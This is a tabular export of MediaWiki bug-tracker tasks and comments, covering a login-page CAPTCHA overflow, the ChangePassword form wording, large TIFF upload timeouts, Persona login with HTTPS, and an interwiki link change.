**Severity**: trivial

**Attached**: {F12591}",Medium,50.0,1385940360,1497287849.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-ycboflut72iwg462vpbe,task_description,declined,True,c3,1,False,False,False,-83,True,1.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,8.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9240506329113924,0.620253164556962,"**Author:** CODE

**Description:**
Shows effect of different fonts used to generate CAPTCHA

The CAPTCHA on the login/signup page in Special:UserLogin overflows the container because it doesn't have any specified size parameter to constrain it.

--------------------------
**Version**: unspecified
**Severity**: trivial

**Attached**: {F12591}"
394818,Special:UserLogin captcha image overflows the container,"+1 to Mattflashen: Can't reproduce in my dev environment and never saw in wmf wikis :/

The design of the login form looks like MW1.21 or similar, have you tried to update your MediaWiki and ConfirmEdit version?",,,1420235308,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,7.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,14.0,14.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,0.9285714285714286,"+1 to Mattflashen: Can't reproduce in my dev environment and never saw in wmf wikis :/

The design of the login form looks like MW1.21 or similar, have you tried to update your MediaWiki and ConfirmEdit version?"
276017,Special:UserLogin captcha image overflows the container,"(In reply to Jared Flores from comment #0)
> Created attachment 13951 [details]
> Shows effect of different fonts used to generate CAPTCHA
> 
> The CAPTCHA on the login/signup page in Special:UserLogin overflows the
> container because it doesn't have any specified size parameter to constrain
> it.

How did you generate that CAPTCHA, and (relatedly) on what site did you take that screenshot?

I've never seen that in WMF production, so I suspect your system may be using the wrong fonts.

**Attached**: {F12591}",,,1416019176,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,21.0,5.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,7.0,11.0,12.0,1.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,3.3289473684210527,0.6973684210526315,"(In reply to Jared Flores from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

How did you generate that CAPTCHA, and (relatedly) on what site did you take that screenshot?

I've never seen that in WMF production, so I suspect your system may be using the wrong fonts.

**Attached**: {F12591}"
276011,Special:UserLogin captcha image overflows the container,"Change 167231 had a related patch set uploaded by Ankitashukla:
Width to prevent captcha overflow from container

https://gerrit.wikimedia.org/r/167231",,,1413566110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.190476190476191,1.0,"Change 167231 had a related patch set uploaded by Ankitashukla:
Width to prevent captcha overflow from container

GERRIT_URL"
276007,Special:UserLogin captcha image overflows the container,"(In reply to Jared Flores from comment #0)
> Created attachment 13951 [details]
> Shows effect of different fonts used to generate CAPTCHA
> 
> The CAPTCHA on the login/signup page in Special:UserLogin overflows the
> container because it doesn't have any specified size parameter to constrain
> it.

The size parameter probably isn't the best way of doing this. If we shrink, or cut off the captcha, it becomes unreadable or unusable. the box should just expand with the captcha...

**Attached**: {F12591}",,,1413405765,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,18.0,1.0,3.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,3.0,10.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.4166666666666665,0.7083333333333334,"(In reply to Jared Flores from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The size parameter probably isn't the best way of doing this. If we shrink, or cut off the captcha, it becomes unreadable or unusable. the box should just expand with the captcha...

**Attached**: {F12591}"
59731,[RFC] make SpecialChangePassword form text depending on login status of $wgUser,"make SpecialChangePassword form text depending on login status of $wgUser

During development of Extension:OpenID I found, that I have to apply a small patch to ChangePassword for the case that I want the pre-login user to enter their temporary password.

During development of E:OpenID, I found that the SpecialChangePassword shows the ""Temporary password"" text only if I apply this patch.

https://gerrit.wikimedia.org/r/#/c/96651/

I suppose, but I am not sure, that this was a design mistake (in the old version of ChangePassword) to check against the passed parameter $user instead of (new version) to check against $wgUser.

This is a request for comments.

Chris answered on Patch Set 4: Code-Review-1:

> This seems like the wrong way to accomplish this, and seems like it relies on another bug that might disappear.
> I'd rather see this use a parameter to showForm(), or use a flag in the class to indicate what wording you want, and then have your code set that.


I still think, that originally $wgUser was meant, perhaps you can ask around.

For my extension OpenID, which calls under certain conditions ChangePassword, an additional parameter would be fine, in order to trigger the correct label text ""temporary password"".

--------------------------
**Version**: 1.23.0
**Severity**: normal",Medium,50.0,1385712240,,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-ncuztcm7opqlqudzyedj,task_description,open,True,c3,1,False,False,,-83,True,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,6.333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,2.3333333333333335,10.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.3333333333333335,3.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,10.333333333333334,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,2.0,0.3333333333333333,5.333333333333333,0.0,0.0,0.0,0.0,3.0,0.0,0.6666666666666666,0.0,4.0,10.666666666666666,4.333333333333333,0.0,1.6666666666666667,0.0,4.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,4.091614501825769,0.7059207094418362,"make SpecialChangePassword form text depending on login status of $wgUser

During development of Extension:OpenID I found, that I have to apply a small patch to ChangePassword for the case that I want the pre-login user to enter their temporary password.

During development of E:OpenID, I found that the SpecialChangePassword shows the ""Temporary password"" text only if I apply this patch.

URL

I suppose, but I am not sure, that this was a design mistake (in the old version of ChangePassword) to check against the passed parameter $user instead of (new version) to check against $wgUser.

This is a request for comments.

Chris answered on Patch Set 4: Code-Review-1:

QUOTE
QUOTE


I still think, that originally $wgUser was meant, perhaps you can ask around.

For my extension OpenID, which calls under certain conditions ChangePassword, an additional parameter would be fine, in order to trigger the correct label text ""temporary password"".

--------------------------
**Version**: 1.23.0
**Severity**: normal"
271101,[RFC] make SpecialChangePassword form text depending on login status of $wgUser,"Change 96651 had a related patch set uploaded by Wikinaut:
make SpecialChangePassword form text depending on login status of wgUser

https://gerrit.wikimedia.org/r/96651",,,1385712626,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ncuztcm7opqlqudzyedj,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.208333333333333,1.0,"Change 96651 had a related patch set uploaded by Wikinaut:
make SpecialChangePassword form text depending on login status of wgUser

GERRIT_URL"
59717,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","Mediawiki gives systematically a HTTP timeout (503) although everything is OK with the upload. For example with this picture:
https://commons.wikimedia.org/wiki/File:Haubitzenbatterie_mittleren_Rheinbr%C3%BCcke_-_CH-BAR_-_3237358.tif

--------------------------
**Version**: 1.23.0
**Severity**: major",Medium,50.0,1385659320,1709361549.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,PHID-USER-dpu5hmqvprhycqlkdzrk,False,PHID-TASK-dni353kodl3tg2m3q3t3,task_description,declined,True,c3,1,False,False,False,-83,True,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.116279069767442,0.7209302325581395,"Mediawiki gives systematically a HTTP timeout (503) although everything is OK with the upload. For example with this picture:
URL

--------------------------
**Version**: 1.23.0
**Severity**: major"
2289284,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","This bug is too old and too lacking in details to be actionable. Possibly https://gerrit.wikimedia.org/r/c/mediawiki/core/+/1007983 may help with this, but who knows.

If error is still happening, please file a new bug.",,,1709361549,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,3,True,,,452,True,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,11.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5526315789473686,0.8421052631578947,"This bug is too old and too lacking in details to be actionable. Possibly URL may help with this, but who knows.

If error is still happening, please file a new bug."
270358,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","I don't know. I don't have made systematic tests.

But I have uploaded thousands of tiff files on Commons and my feeling is that everything is OK until ~95MB, over this limit you will maybe have a timeout.

I think that the post-treatment of the TIFF upload (checks, ...) is in some case longer than proxy/apache timeout thresholds and in such cases, this error occurs.",,,1387281326,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,False,,,-81,True,1.0,1.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,5.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,20.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,12.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.6987951807228914,0.7349397590361446,"I don't know. I don't have made systematic tests.

But I have uploaded thousands of tiff files on Commons and my feeling is that everything is OK until ~95MB, over this limit you will maybe have a timeout.

I think that the post-treatment of the TIFF upload (checks, ...) is in some case longer than proxy/apache timeout thresholds and in such cases, this error occurs."
270354,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","(In reply to comment #4)
> I mean <100MB.

Then what range does ""big TIFF images"" mean if it's also smaller than 100MB?",,,1387280946,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,0.0,3.0,13.0,0.0,3.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.033333333333333,0.9666666666666667,"(In reply to comment #4)
QUOTE

Then what range does ""big TIFF images"" mean if it's also smaller than 100MB?"
270349,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async",I mean <100MB. I think the bug is easy to reproduce with the example I have given.,,,1387273189,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,False,,,-81,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.142857142857143,0.8095238095238095,I mean <100MB. I think the bug is easy to reproduce with the example I have given.
270345,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","Did you mean >100MB instead of <100MB in the bug summary? 
If so, feel free to fix.",,,1387272597,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,4.0,16.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.68,0.92,"Did you mean >100MB instead of <100MB in the bug summary? 
If so, feel free to fix."
270342,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","This is done using the API action=upload, without stash, without async. The most simple way.",,,1385719037,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.7142857142857144,0.8571428571428571,"This is done using the API action=upload, without stash, without async. The most simple way."
270339,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","For these types of bugs, please include method of upload (aka was chunked upload used, and in particular was the async option used. If you're not sure just include which program used to upload - UploadWizard, Special:Upload, or something else).",,,1385680773,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,True,,,-83,True,0.0,2.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,12.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.019607843137255,0.7843137254901961,"For these types of bugs, please include method of upload (aka was chunked upload used, and in particular was the async option used. If you're not sure just include which program used to upload - UploadWizard, Special:Upload, or something else)."
59635,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"$wgPersonaLoginAnywhere turns on having the Persona login button on every page in the Personal URLs section, rather than just having a button on the login page.

However, when $wgSecureLogin is enabled, all logins must be over HTTPS. Right now this is handled poorly: if the user is on HTTP and clicks the Persona login button, they go through the whole login process just to get an API error.

Unfortunately, there's really no way to make it work completely, but there are a couple of options:

1) Throw a configuration error if a sysadmin tries to have $wgSecureLogin turned on, $wgPersonaLoginAnywhere turned on, and $wgServer with non-HTTPS as the scheme
2) Automatically redirect all users to HTTPS (probably the less friendly option)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1385512620,1484383241.0,PHID-USER-ea6gwat27oulytc5tvsy,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_description,declined,True,c3,1,False,False,False,-84,True,1.5,0.0,0.5,1.0,0.0,1.5,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,7.5,10.5,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.5,4.0,0.0,0.0,0.0,0.0,0.0,16.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.5,8.5,1.5,1.5,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,10.5,3.0,0.0,0.0,0.0,1.5,0.0,0.5,3.0,0.0,1.0,0.5,0.0,1.0,4.166666666666667,0.6845238095238095,"$wgPersonaLoginAnywhere turns on having the Persona login button on every page in the Personal URLs section, rather than just having a button on the login page.

However, when $wgSecureLogin is enabled, all logins must be over HTTPS. Right now this is handled poorly: if the user is on HTTP and clicks the Persona login button, they go through the whole login process just to get an API error.

Unfortunately, there's really no way to make it work completely, but there are a couple of options:

1) Throw a configuration error if a sysadmin tries to have $wgSecureLogin turned on, $wgPersonaLoginAnywhere turned on, and $wgServer with non-HTTPS as the scheme
2) Automatically redirect all users to HTTPS (probably the less friendly option)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
791551,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"From T155291:

> Closing as the Persona service has been shut down. 
> 
>>>! From **[Mozilla](https://developer.mozilla.org/en-US/Persona)**:
>> Persona is no longer actively developed by Mozilla. Mozilla kept operational and security support of the persona.org service until November 2016.
>> On November 30th, 2016, the persona.org services were shut down.
> 
> See also:
> * <https://developer.mozilla.org/en-US/Persona>
> * <https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers>
",,,1484383241,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_subcomment,,True,c3,3,True,,,80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.2727272727272727,"From T155291:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
"
59513,Change interwiki for smw.o to https,"semantic-mediawiki.org offers https access. Thus it will be nice if the link for the existing interwiki prefix ""semantic-mw"" could be changed to ""https://www.semantic-mediawiki.org/wiki/$1"". Many thanks in advance!

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://semantic-mediawiki.org/wiki/Semantic_MediaWiki",Medium,50.0,1385325840,1385342222.0,PHID-USER-37d2msujvpp2rippbzoq,False,,False,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_description,invalid,True,c3,1,False,False,True,-84,True,2.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.85,0.65,"semantic-mediawiki.org offers https access. Thus it will be nice if the link for the existing interwiki prefix ""semantic-mw"" could be changed to ""URL Many thanks in advance!

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
258559,Change interwiki for smw.o to https,Thank you for the hint. I filed the request at https://meta.wikimedia.org/wiki/Talk:Interwiki_map#semantic-mw,,,1385369204,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,Thank you for the hint. I filed the request at URL
258555,Change interwiki for smw.o to https,Please ask at [[m:Talk:Interwiki map]].,,,1385342222,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.5,0.7857142857142857,Please ask at [[m:Talk:Interwiki map]].
58932,Spam BlackList doesn't block links which doesn't have http or https,"Spam BlackList doesn't block links which doesn't have http or https or // (at the first)

